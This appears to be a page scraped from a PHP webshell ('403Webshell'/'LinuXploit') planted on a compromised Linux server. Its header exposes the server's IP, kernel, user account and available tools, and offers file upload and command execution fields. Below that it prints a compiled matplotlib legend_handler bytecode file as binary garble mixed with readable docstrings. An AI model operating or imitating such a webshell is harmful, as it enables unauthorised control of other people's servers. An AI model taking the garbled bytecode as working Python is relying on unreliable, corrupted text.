403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/__pycache__/legend_handler.cpython-312.pyc
�

G8�cks���dZddlmZddlmZddlZddlmZm	Z	ddl
mZddlm
Z
ddlmZd�ZGd	�d
�ZGd�de�ZGd
�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�d e�ZGd!�d"e�ZGd#�d$e�ZGd%�d&e�Z Gd'�d(e�Z!y))a
Default legend handlers.

.. important::

    This is a low-level legend API, which most end users do not need.

    We recommend that you are familiar with the :doc:`legend guide
    </tutorials/intermediate/legend_guide>` before reading this documentation.

Legend handlers are expected to be a callable object with a following
signature. ::

    legend_handler(legend, orig_handle, fontsize, handlebox)

Where *legend* is the legend itself, *orig_handle* is the original
plot, *fontsize* is the fontsize in pixels, and *handlebox* is a
OffsetBox instance. Within the call, you should create relevant
artists (using relevant properties from the *legend* and/or
*orig_handle*) and add them into the handlebox. The artists needs to
be scaled according to the fontsize (note that the size is in pixel,
i.e., this is dpi-scaled value).

This module includes definition of several legend handler classes
derived from the base class (HandlerBase) with the following method::

    def legend_artist(self, legend, orig_handle, fontsize, handlebox)
�)�Sequence)�cycleN)�_api�cbook)�Line2D)�	Rectanglec�r�tt|j��d�}|�|j|�yy�N)�next�iter�get_children�update_from)�tgt�src�first_childs   �;/usr/lib/python3/dist-packages/matplotlib/legend_handler.py�update_from_first_childr)s3���t�C�,�,�.�/��6�K�������$��c�<�eZdZdZd
d�Zd�Zd�Zd�Zd�Zd�Z	d	�Z
y)�HandlerBasea
    A Base class for default legend handlers.

    The derived classes are meant to override *create_artists* method, which
    has a following signature.::

      def create_artists(self, legend, orig_handle,
                         xdescent, ydescent, width, height, fontsize,
                         trans):

    The overridden method needs to create artists of the given
    transform that fits in the given dimension (xdescent, ydescent,
    width, height) that are scaled by fontsize if necessary.

    Nc�0�||c|_|_||_yr
)�_xpad�_ypad�_update_prop_func)�self�xpad�ypad�update_funcs    r�__init__zHandlerBase.__init__?s��!%�t���
�D�J�!,��rc�f�|j�|j||�y|j||�yr
)r�_default_update_prop�r�
legend_handle�orig_handles   r�_update_propzHandlerBase._update_propCs.���!�!�)��%�%�m�[�A��"�"�=�+�>rc�&�|j|�yr
)rr"s   rr!z HandlerBase._default_update_propIs���!�!�+�.rc��|j||�|j|�|jd�|jd�yr
)r%�_set_artist_props�set_clip_box�
set_clip_path�rr#r$�legends    r�update_propzHandlerBase.update_propLs<�����-��5�� � ��/��"�"�4�(��#�#�D�)rc��||j|zz
}||j|zz
}||j|zz
}||j|zz
}||||fSr
)rr)rr,r$�xdescent�ydescent�width�height�fontsizes        r�adjust_drawing_areazHandlerBase.adjust_drawing_areaTs_���d�j�j�8�3�3���d�j�j�8�3�3����
�
�X�-�-���$�*�*�x�/�/����5�&�0�0rc�<�|j|||j|j|j|j|�\}}}}|j||||||||j
��}	t|	t�r|	dg}	|	D]}
|j|
��|	dS)a-
        Return the artist that this HandlerBase generates for the given
        original artist/handle.

        Parameters
        ----------
        legend : `~matplotlib.legend.Legend`
            The legend for which these legend artists are being created.
        orig_handle : :class:`matplotlib.artist.Artist` or similar
            The object for which these legend artists are being created.
        fontsize : int
            The fontsize in pixels. The artists being created should
            be scaled according to the given fontsize.
        handlebox : `matplotlib.offsetbox.OffsetBox`
            The box which has been created to hold this legend entry's
            artists. Artists created in the `legend_artist` method must
            be added to this handlebox inside this method.

        r)
r4r/r0r1r2�create_artists�
get_transform�
isinstance�_Line2DHandleList�
add_artist)rr,r$r3�	handleboxr/r0r1r2�artists�as           r�
legend_artistzHandlerBase.legend_artist]s���*-1�,D�,D����#�#�Y�%7�%7����)�"2�"2��	-�)��(�E�6�
�%�%�f�k�&.��%��&.�	�0G�0G�0I�K���g�0�1��q�z�l�G��	$�A�� � ��#�	$��q�z�rc	��td��)NzDerived must override)�NotImplementedError)	rr,r$r/r0r1r2r3�transs	         rr6zHandlerBase.create_artists�s��"�"9�:�:r)�rBN)�__name__�
__module__�__qualname__�__doc__rr%r!r-r4r>r6�rrrr/s+���-�?�/�*�1�&�P;rrc�0��eZdZdZd�fd�	Zd�Zd�Z�xZS)�HandlerNpointszM
    A legend handler that shows *numpoints* points in the legend entry.
    c�@��t�|�di|��||_||_y)a
        Parameters
        ----------
        marker_pad : float
            Padding between points in legend entry.
        numpoints : int
            Number of points to show in legend entry.
        **kwargs
            Keyword arguments forwarded to `.HandlerBase`.
        NrG)�superr�
_numpoints�_marker_pad)r�
marker_pad�	numpoints�kwargs�	__class__s    �rrzHandlerNpoints.__init__�s$���	���"�6�"�#���%��rc�J�|j�|jS|jSr
)rLrO�rr,s  r�
get_numpointszHandlerNpoints.get_numpoints�s"���?�?�"��#�#�#��?�?�"rc���|j|�}|dkDr7|j|z}tj||z||z|z
|�}	|	}
|	|
fS|||zg}	|d|zzg}
|	|
fS)N���?)rTrM�np�linspace)rr,r/r0r1r2r3rO�pad�xdata�xdata_markers           r�	get_xdatazHandlerNpoints.get_xdata�s����&�&�v�.�	��q�=��"�"�X�-�C��K�K��	�C��!)�	�E� 1�C� 7� )�+�E�!�L��l�"�"��Y��	�E� 1�2�E�%�I��e��3�4�L��l�"�"r)�333333�?N)rCrDrErFrrTr]�
__classcell__�rQs@rrIrI�s����&� #�#rrIc�*��eZdZdZd�fd�	Zd�Z�xZS)�HandlerNpointsYoffsetsz�
    A legend handler that shows *numpoints* in the legend, and allows them to
    be individually offset in the y-direction.
    c�6��t�|�dd|i|��||_y)aL
        Parameters
        ----------
        numpoints : int
            Number of points to show in legend entry.
        yoffsets : array of floats
            Length *numpoints* list of y offsets for each point in
            legend entry.
        **kwargs
            Keyword arguments forwarded to `.HandlerNpoints`.
        rONrG)rKr�	_yoffsets)rrO�yoffsetsrPrQs    �rrzHandlerNpointsYoffsets.__init__�s!���	���7�9�7��7�!��rc��|j�||jz}|S|tj|j�z}|Sr
�rd�_scatteryoffsetsrX�asarray�rr,r/r0r1r2r3�ydatas        r�	get_ydataz HandlerNpointsYoffsets.get_ydata�sA���>�>�!��V�4�4�4�E����R�Z�Z����7�7�E��r�NN)rCrDrErFrrlr_r`s@rrbrb�s����

"�rrbc��eZdZdZd�Zy)�HandlerLine2DCompoundz�
    Original handler for `.Line2D` instances, that relies on combining
    a line-only with a marker-only artist.  May be deprecated in the future.
    c	�:�|j||||||�\}	}
tj|	||z
dz�}t|	|�}|j	|||�|jd�|j
d�t|
|dt|
��}
|j	|
||�|
jd�|jdk7r.|
j�|jz}|
j|�|
|_|j|�|
j|�||
gS)N��default��NonerV)r]rX�	full_likerr-�
set_drawstyle�
set_marker�len�
set_linestyle�markerscale�get_markersize�set_markersize�
_legmarker�
set_transform)rr,r$r/r0r1r2r3rAr[r\rk�legline�legline_marker�newszs               rr6z$HandlerLine2DCompound.create_artists�s��#�n�n�V�X�x�-2�F�H�F���|����U�f�x�&7�1�%<�>�����&������+�v�6����i�(����2����e�4F�S��5F�.G�H�������f�=��$�$�V�,�����"�"�1�1�3�f�6H�6H�H�E��)�)�%�0�,������e�$��$�$�U�+���(�(rN�rCrDrErFr6rGrrroro�s���
)rroc��eZdZd�Zd�Zd�Zy)r9c��||_yr
)�_legline)rrs  rrz_Line2DHandleList.__init__�s	����
rc��y�NrqrG)rs r�__len__z_Line2DHandleList.__len__�s��rc�p�|dk7rtjdd��|j|jg|S)Nrz3.5zuAccess to the second element returned by HandlerLine2D is deprecated since %(since)s; it will be removed %(removal)s.)�message)r�warn_deprecatedr�)r�indexs  r�__getitem__z_Line2DHandleList.__getitem__�s;���A�:�
� � �� '�
(��
�
�t�}�}�-�e�4�4rN)rCrDrErr�r�rGrrr9r9�s�� ��5rr9c��eZdZdZd�Zy)�
HandlerLine2Dz�
    Handler for `.Line2D` instances.

    See Also
    --------
    HandlerLine2DCompound : An earlier handler implementation, which used one
                            artist for the line and another for the marker(s).
    c	���|j||||||�\}	}
d}|j|�dk(r tj|	d|	dd�}	dg}tj|	||z
dz�}t|	||��}
|j
|
||�|jdk7r.|
j�|jz}|
j|�|
j|�t|
�S)NrVr����rq)�	markevery)r]rTrXrYrurr-rzr{r|r~r9)rr,r$r/r0r1r2r3rAr[r\r�rkrr�s               rr6zHandlerLine2D.create_artistss���#�n�n�V�X�x�-2�F�H�F���|��	����f�%��*��K�K��a��%��)�Q�7�E���I����U�V�h�%6�!�$;�<������;������+�v�6�����"��*�*�,�v�/A�/A�A�E��"�"�5�)����e�$� ��)�)rNr�rGrrr�r�
s���*rr�c�0��eZdZdZd�fd�	Zd�Zd�Z�xZS)�HandlerPatchz)
    Handler for `.Patch` instances.
    c�2��t�|�di|��||_y)a�
        Parameters
        ----------
        patch_func : callable, optional
            The function that creates the legend key artist.
            *patch_func* should have the signature::

                def patch_func(legend=legend, orig_handle=orig_handle,
                               xdescent=xdescent, ydescent=ydescent,
                               width=width, height=height, fontsize=fontsize)

            Subsequently the created artist will have its ``update_prop``
            method called and the appropriate transform will be applied.

        **kwargs
            Keyword arguments forwarded to `.HandlerBase`.
        NrG)rKr�_patch_func)r�
patch_funcrPrQs   �rrzHandlerPatch.__init__6s���$	���"�6�"�%��rc	�v�|j�t||f||��}|S|j|||||||��}|S)N��xyr1r2)r,r$r/r0r1r2r3)r�r�	rr,r$r/r0r1r2r3�ps	         r�
_create_patchzHandlerPatch._create_patchKs^�����#��x�i�(��3� %�f�6�A���� � ��K�*2�X�',�V�h�!�P�A��rc		�~�|j|||||||�}	|j|	||�|	j|�|	gSr
)r�r-r~�
rr,r$r/r0r1r2r3rAr�s
          rr6zHandlerPatch.create_artistsVsG�����v�{�'��5�&�(�
L������K��0�	������s�
rr
)rCrDrErFrr�r6r_r`s@rr�r�1s����&�*	�rr�c�"�eZdZdZd�Zd�Zd�Zy)�HandlerStepPatchzA
    Handler for `~.matplotlib.patches.StepPatch` instances.
    c�H�t||f|j�||��}|S)N)r��colorr1r2)r�
get_facecolorr�s	         rr�zHandlerStepPatch._create_patchds/���8�)�h�Y�/�'�5�5�7�!�&�
2���rc���td|g|dz|dzg|j�|j�|j���}|j	d�|jd�|S)Nrrq)r��	linestyle�	linewidthrrrs)r�
get_edgecolor�
get_linestyle�
get_linewidthrvrw)	rr,r$r/r0r1r2r3rs	         r�_create_linezHandlerStepPatch._create_linelsj���!�U��f�Q�h��q��%9�*�8�8�:�#.�#<�#<�#>�#.�#<�#<�#>���	���i�(����2���rc		���|j�s|j��+|j|||||||�}	|j|	||�n|j	|||||||�}	|	j|�|	gSr
)�get_fill�	get_hatchr�r-r�r~r�s
          rr6zHandlerStepPatch.create_artistszs������!�k�&;�&;�&=�&I��"�"�6�;�#+�X�u�f�h�P�A����Q��V�4��!�!�&�+�"*�H�e�V�X�O�A�	������s�
rN)rCrDrErFr�r�r6rGrrr�r�_s�����
rr�c�"�eZdZdZd�Zd�Zd�Zy)�HandlerLineCollectionz2
    Handler for `.LineCollection` instances.
    c�J�|j�|jS|jSr
�rL�
scatterpointsrSs  rrTz#HandlerLineCollection.get_numpoints��"���?�?�"��'�'�'��?�?�"rc���|j�d}|jd}|j�d}|j|�|j	|�|j|�y�Nr)�get_linewidths�_us_linestyles�
get_colors�	set_colorry�
set_linewidth)rr#r$�lw�dashesr�s      rr!z*HandlerLineCollection._default_update_prop�sb��
�
'�
'�
)�!�
,���+�+�A�.���&�&�(��+������&��#�#�F�+��#�#�B�'rc	���|j||||||�\}	}
tj|	||z
dz�}t|	|�}|j	|||�|j|�|gSr�)r]rXrurr-r~)
rr,r$r/r0r1r2r3rAr[r\rkrs
             rr6z$HandlerLineCollection.create_artists�ss��#�n�n�V�X�x�-2�F�H�F���|����U�V�h�%6�!�$;�<�����&������+�v�6����e�$��y�rN)rCrDrErFrTr!r6rGrrr�r��s���#�(�rr�c�p��eZdZdZd�fd�	Zd�Zd�Zd�Zejddd�d	��Z
d
�Z�xZS)�HandlerRegularPolyCollectionz'Handler for `.RegularPolyCollection`\s.c�6��t�|�dd|i|��||_y)NrerG)rKr�_sizes)rre�sizesrPrQs    �rrz%HandlerRegularPolyCollection.__init__�s���
���5�(�5�f�5���rc�J�|j�|jS|jSr
r�rSs  rrTz*HandlerRegularPolyCollection.get_numpoints�r�rc�r�|j��|j�}t|�sdg}t|�|jdzz}	t|�|jdzz}
|j
|�}|dkrd|	|
zz|	|
gd|}|S|	|
z
}
|
tjdd|�z|
z}|S|j}|S)NrVrq�rWr)	r��	get_sizesrx�maxrz�minrTrXrY)rr,r$r/r0r1r2r3�handle_sizes�size_max�size_minrOr��rngs              rr�z&HandlerRegularPolyCollection.get_sizes�s����;�;��&�0�0�2�L��|�$� !�s���<�(�6�+=�+=��+B�B�H��<�(�6�+=�+=��+B�B�H��*�*�6�2�I��1�}��x�(�2�3�X�!�#�#-�I�/���� �(�*���b�k�k�!�Q�	�:�:�X�E�����K�K�E��rc��|j||�|j|j�|jd�|j	d�yr
)r%�
set_figure�figurer)r*r+s    rr-z(HandlerRegularPolyCollection.update_prop�s@�����-��5�� � ����/��"�"�4�(��#�#�D�)r�3.6�transOffset�offset_transformc�f�t|�|j�|j�|||��S)N)�rotationr��offsetsr�)�type�get_numsides�get_rotation�rr$r�r�r�s     r�create_collectionz.HandlerRegularPolyCollection.create_collection�s6�� �t�K� ��$�$�&� �-�-�/�u��.>�
�	
rc	
�,�|j||||||�\}	}
|j||||||�}|j|||||||�}|j||t	t|
|��|��}
|j
|
||�|
j|�|
gS�N)r�r�)r]rlr�r��list�zipr-�set_offset_transform)rr,r$r/r0r1r2r3rAr[r\rkr�r�s              rr6z+HandlerRegularPolyCollection.create_artists�s���#�n�n�V�X�x�-2�F�H�F���|����v�x��$�f�h�8�����v�{�H�h�$�f�h�8��
�"�"�����\�5�1�2�U�
#�
L��	
����K��0�	���u�%��s�
rrm)
rCrDrErFrrTr�r-r�rename_parameterr�r6r_r`s@rr�r��sF���2��
#��**��T���5�-�1C�D�
�E�
�rr�c�D�eZdZdZej
ddd�d��Zy)�HandlerPathCollectionzDHandler for `.PathCollection`\s, which are used by `~.Axes.scatter`.r�r�r�c�P�t|�|j�dg|||��S)Nr)r�r�r�)r��	get_pathsr�s     rr�z'HandlerPathCollection.create_collection�s2�� �t�K� �
�
"�
"�
$�Q�
'�(���.>�
�	
rN�rCrDrErFrr�r�rGrrr�r��s*��O��T���5�-�1C�D�
�E�
rr�c�D�eZdZdZej
ddd�d��Zy)�HandlerCircleCollectionz"Handler for `.CircleCollection`\s.r�r�r�c�*�t|�|||��Sr�)r�r�s     rr�z)HandlerCircleCollection.create_collection�s �� �t�K� ��7�5E�G�	GrNr�rGrrr�r��s,��-��T���5�-�1C�D�G�E�Grr�c�4��eZdZdZ		d�fd�	Zd�Zd�Z�xZS)�HandlerErrorbarzHandler for Errorbars.c�F��||_||_t�|�d||d�|��y)N)rNrOrG)�
_xerr_size�
_yerr_sizerKr)r�	xerr_size�	yerr_sizerNrOrPrQs      �rrzHandlerErrorbar.__init__s*���$���#���
���N�J�)�N�v�Nrc�j�|j|z}|j�|}||fS|j|z}||fSr
)r�r�)	rr,r/r0r1r2r3r�r�s	         r�get_err_sizezHandlerErrorbar.get_err_sizesG���O�O�h�.�	��?�?�"�!�I��)�#�#����(�2�I��)�#�#rc	�,�|\}	}
}|j||||||�\}}
tj|||z
dz�}t||�}tj|
�}
tj|dt|
��}|j
||||||�\}}t|
|�}|	�#|jd�|jd�n�|j||	|�|jd�|jd�|j||	|�|jd�|jdk7r.|j�|jz}|j|�g}g}|jr�t!|
|�D��cgc]\}}||z
|f||z|ff��}}}t#j$|�}|j||d|�|j'|�|
r�t|
|z
|�}t|
|z|�}|j||
d|�|j||
d|�|jd�|jd�|j'|�|j'|�|j(r�t!|
|�D��cgc]\}}|||z
f|||zff��}}}t#j$|�}|j||d|�|j'|�|
r�t|
||z
�}t|
||z�}|j||
d|�|j||
d|�|jd	�|jd	�|j'|�|j'|�g|�|�|�|�}|D]}|j+|��|Scc}}wcc}}w)
NrqFrr�nonertrVr�|�_)r]rXrurrirxr��set_visibler-rvrwryrzr{r|�has_xerrr��mcoll�LineCollection�append�has_yerrr~)rr,r$r/r0r1r2r3rA�	plotlines�caplines�barlinecolsr[r\rkr�ydata_markerr�r�r�r��handle_barlinecols�handle_caplines�x�y�verts�coll�capline_left�
capline_rightr<�artists                               rr6zHandlerErrorbar.create_artistss���,7�(�	�8�[�"�n�n�V�X�x�-2�F�H�F���|����U�V�h�%6�!�$;�<�����&���z�z�,�/���z�z�%�(:��\�):�";�<��#�0�0���8�16��� J��	�9� ��l�;��������&��&�&�u�-����W�i��8��!�!�)�,����v�&����^�Y��?��(�(��0��!�!�Q�&�&�5�5�7�&�:L�:L�L���-�-�e�4��������!$�\�<�!@�B���A��9�}�a�(�1�y�=�!�*<�=�B�E�B��'�'��.�D����T�;�q�>�6�:��%�%�d�+��%�l�Y�&>��M�� &�|�i�'?�� N�
�� � ��x��{�F�C�� � �����V�D��'�'��,��(�(��-��&�&�|�4��&�&�}�5����!$�\�<�!@�B���A��!�i�-�(�1�a�)�m�*<�=�B�E�B��'�'��.�D����T�;�q�>�6�:��%�%�d�+��%�l�L�9�4L�M�� &�|�\�I�5M� N�
�� � ��x��{�F�C�� � �����V�D��'�'��,��(�(��-��&�&�|�4��&�&�}�5�
�
�
�"1�
�3:�
�<J�
���	(�F�� � ��'�	(����QB��$Bs�=N
�?N)rWNr^N)rCrDrErFrr�r6r_r`s@rr�r�s��� �04�+/�O�	$�Rrr�c�:��eZdZdZ		d�fd�	Zd�Zd�Zd�Z�xZS)�HandlerStemz6
    Handler for plots produced by `~.Axes.stem`.
    c�:��t�|�d|||d�|��||_y)a�
        Parameters
        ----------
        marker_pad : float, default: 0.3
            Padding between points in legend entry.
        numpoints : int, optional
            Number of points to show in legend entry.
        bottom : float, optional

        yoffsets : array of floats, optional
            Length *numpoints* list of y offsets for each point in
            legend entry.
        **kwargs
            Keyword arguments forwarded to `.HandlerNpointsYoffsets`.
        )rNrOreNrG)rKr�_bottom)rrNrO�bottomrerPrQs      �rrzHandlerStem.__init__ts-���"	���	6�J�)�"*�	6�.4�	6���rc��|j�|d|jzdzz}|S|tj|j�z}|S)NrWrgrjs        rrlzHandlerStem.get_ydata�sK���>�>�!��c�F�$;�$;�;�c�A�B�E����R�Z�Z����7�7�E��rc		�\�|\}	}
}t|
tj�}|j||||||�\}
}|j	||||||�}|j
�d}n|j
}t
||dt|��}|j||	|�t||�D��cgc]\}}t
||g||g���}}}|rFtj||j��5|D]}|j||
|��	ddd�n't||
�D]\}}|j|||��t
tj|
�tj|
�g||g�}|j|||�g|�|�|�}|D]}|j!|��|Scc}}w#1swY�zxYw)NrB)r)r8r�r�r]rlrrrxr-r�r�_setattr_cm�_copy_collection_propsrXr�r�r~)rr,r$r/r0r1r2r3rA�
markerline�	stemlines�baseline�using_linecollr[r\rkr�leg_markerlinerr�
leg_stemlines�line�lm�m�leg_baseliner<r
s                           rr6zHandlerStem.create_artists�s���+6�'�
�I�x�$�I�u�/C�/C�D��"�n�n�V�X�x�-2�F�H�F���|����v�x��$�f�h�8���<�<���F��\�\�F���e�4F�S��5F�.G�H�������V�<�&)��u�%=�?�!�Q�� ��A�����4�?�
�?���"�"��D�,G�,G�I�
>�)�>�D��$�$�T�9�f�=�>�
>�
>��]�I�6�
0���A�� � ��Q��/�
0��r�v�v�e�}�b�f�f�U�m�<�%�v�.�0������x��8�@�M�@�<�@��@���	(�F�� � ��'�	(����-?�
>�
>�s�%F�%F"�"F+c��|j|j�d�|j|j�d�y)zt
        Copy properties from the `.LineCollection` *orig_handle* to the
        `.Line2D` *legend_handle*.
        rN)r��	get_colorryr�r"s   rrz"HandlerStem._copy_collection_props�s<��
	���� 5� 5� 7�� :�;��#�#�K�$=�$=�$?��$B�Cr)r^NNN)	rCrDrErFrrlr6rr_r`s@rrros&����26�'+��*�-�^Drrc�*��eZdZdZd�fd�	Zd�Z�xZS)�HandlerTuplez
    Handler for Tuple.
    c�@��||_||_t�|�di|��y)a�
        Parameters
        ----------
        ndivide : int, default: 1
            The number of sections to divide the legend area into.  If None,
            use the length of the input tuple.
        pad : float, default: :rc:`legend.borderpad`
            Padding in units of fraction of font size.
        **kwargs
            Keyword arguments forwarded to `.HandlerBase`.
        NrG)�_ndivide�_padrKr)r�ndividerZrPrQs    �rrzHandlerTuple.__init__�s#��� ��
���	�
���"�6�"rc	��|j�}	|j�t|�}
n|j}
|j�|j|z}n|j|z}|
dkDr|||
dz
zz
|
z}t|||zt
j|
�zz
�}g}
|D]\}|j|	|�}|j||t|�|||||�}t|t�r|dg}|
j|��^|
S)NrVr)�get_legend_handler_mapr#rxr$�	borderpadrrX�arange�get_legend_handlerr6rr8r9�extend)rr,r$r/r0r1r2r3rA�handler_mapr%rZ�	xds_cycle�a_list�handle1�handler�_a_lists                 rr6zHandlerTuple.create_artists�s���3�3�5���=�=� ��+�&�G��m�m�G��9�9���"�"�X�-�C��)�)�h�&�C��Q�;��S�G�a�K�0�0�G�;�E��(�e�c�k�R�Y�Y�w�5G�%G�G�H�	���"�	#�G��/�/��W�E�G��,�,����Y���5�&�(�E�K�G��'�#4�5�"�1�:�,���M�M�'�"�	#��
r)rVN)rCrDrErFrr6r_r`s@rr!r!�s����#� rr!c��eZdZdZd�Zd�Zy)�HandlerPolyCollectionza
    Handler for `.PolyCollection` used in `~.Axes.fill_between` and
    `~.Axes.stackplot`.
    c�R�d�}d�}||j��|_||j��|_|j|_|j
|_|j
�|_|j�|_	|j|_
|j||j���|j||j���|j||j!���|j#|j%��y)Nc�>�|jdk(ryt|d�S)Nr)rrrr)�size�tuple)�colorss r�first_colorz7HandlerPolyCollection._update_prop.<locals>.first_colors ���{�{�a��#�����#�#rc�$�t|�r|dSyr�)rx)�
prop_arrays r�	get_firstz5HandlerPolyCollection._update_prop.<locals>.get_firsts���:��!�!�}�$�r)r��
_facecolorr��
_edgecolor�_original_facecolor�_original_edgecolorr��_fillr��_hatch�_hatch_colorr�r�ry�get_linestylesr~�get_transformsr��
get_figure)rr#r$r9r<s     rr%z"HandlerPolyCollection._update_props���	$�
	�$/�{�/H�/H�/J�#K�
� �#.�{�/H�/H�/J�#K�
� �,7�,K�,K�
�)�,7�,K�,K�
�)�)�2�2�4�
��*�4�4�6�
��%0�%=�%=�
�"��#�#�I�k�.H�.H�.J�$K�L��#�#�I�k�.H�.H�.J�$K�L��#�#�I�k�.H�.H�.J�$K�L�� � ��!7�!7�!9�:rc	�t�t||f||��}	|j|	||�|	j|�|	gS)Nr�)rr-r~r�s
          rr6z$HandlerPolyCollection.create_artists"sA���8�)�h�Y�/�!�&�
2������K��0�	������s�
rN)rCrDrErFr%r6rGrrr3r3s���;�:rr3)"rF�collections.abcr�	itertoolsr�numpyrX�
matplotlibrr�matplotlib.linesr�matplotlib.patchesr�matplotlib.collections�collectionsr�rrrIrbror9r�r�r�r�r�r�r�r�rr!r3rGrr�<module>rPs����:%���"�#�(�&�%�Y;�Y;�x'#�[�'#�T�^��<")�N�")�J5��5�$$*�N�$*�N+�;�+�\%�{�%�P�M��@F�#9�F�R
�8�
�G�:�G�h�m�h�VWD�(�WD�t4�;�4�n(�K�(r

Youez - 2016 - github.com/yon3zu
LinuXploit